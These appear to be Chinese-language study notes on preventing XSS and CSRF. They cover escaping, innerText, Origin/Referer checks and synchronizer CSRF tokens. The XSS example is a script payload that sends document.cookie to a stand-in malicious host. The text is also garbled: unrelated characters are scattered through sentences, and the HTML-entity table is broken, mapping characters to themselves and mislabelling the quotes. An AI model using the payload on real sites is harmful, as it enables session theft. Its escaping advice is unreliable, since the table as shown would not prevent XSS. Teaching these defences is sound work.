1.XSS 是什么?如何防范
div.innerHTML = userComment
// userComment 內(nèi)容是
<script>$.get('http://惡意網(wǎng)站.com?cookie='+document.cookie)</script>
// 惡意就被執(zhí)行了钓试,這就是 XSS
防范:
1.不要使用 innerHTML椅亚,改成 innerText,script 就會(huì)被當(dāng)成文本,不執(zhí)行
2.如果你一樣要用 innerHTML想幻,使用HTML實(shí)體
把 < 替換成 <
把 > 替換成 >
把 & 替換成 &
把 ' 替換成 '
把 ' 替換成 "
2.CSRF是什么粱栖?如何防范
CSRF (Cross Site Request Forgery)攻擊,跨站請(qǐng)求偽造脏毯。其原理是攻擊者構(gòu)造網(wǎng)站后臺(tái)某個(gè)功能接口的請(qǐng)求地址闹究,誘導(dǎo)用戶去點(diǎn)擊或者用特殊方法讓該請(qǐng)求地址自動(dòng)加載。
用戶在登錄qq中被惡意切換到黑客網(wǎng)站食店,黑客網(wǎng)站發(fā)送qq.com/add_friend
請(qǐng)求,讓當(dāng)前用戶添加黑客為好友渣淤,用戶實(shí)際并沒有發(fā)送該請(qǐng)求,黑客偽造了發(fā)請(qǐng)求的假象
防范:
1.檢查HTTP首部中Origin或 請(qǐng)求頭中Referer
2.在表單中添加_csrf_token吉嫩,Token 保存在 Session 中Session 是服務(wù)器端的內(nèi)存(數(shù)據(jù))价认,一般通過在 Cookie 里記錄 SessionID 實(shí)現(xiàn),且SessionID 一般是隨機(jī)數(shù)
3.自定義請(qǐng)求頭
4.表單提交使用POST自娩,POST 的參數(shù)(數(shù)據(jù))放在請(qǐng)求消息體里用踩。
1.服務(wù)端在收到路由請(qǐng)求時(shí),生成一個(gè)隨機(jī)數(shù)忙迁,在渲染請(qǐng)求頁面時(shí)把隨機(jī)數(shù)埋入頁面(一般埋入form
表單內(nèi)捶箱,<input type="hidden" name="_csrf_token" value="xxxx">
)
2.服務(wù)端設(shè)置setCookie
,把該隨機(jī)數(shù)作為cookie
或者session
種入用戶瀏覽器
3.當(dāng)用戶發(fā)送 GET 或者 POST 請(qǐng)求時(shí)帶上_csrf_token
參數(shù)(對(duì)于 Form 表單直接提交即可动漾,因?yàn)闀?huì)自動(dòng)把當(dāng)前表單內(nèi)所有的 input 提交給后臺(tái)丁屎,包括_csrf_token
)
4.后臺(tái)在接受到請(qǐng)求后解析請(qǐng)求的cookie
獲取_csrf_token
的值,然后和用戶請(qǐng)求提交的_csrf_token
做個(gè)比較旱眯,如果相等表示請(qǐng)求是合法的晨川。
(上圖是某電商網(wǎng)站的真實(shí)設(shè)置,這里頁面上設(shè)置的 token和session里設(shè)置的token 雖然不直接相等删豺,但 md5('1474357164624') === '4bd4e512b0fbd9357150649adadedd4e'共虑,后臺(tái)還是很好計(jì)算的)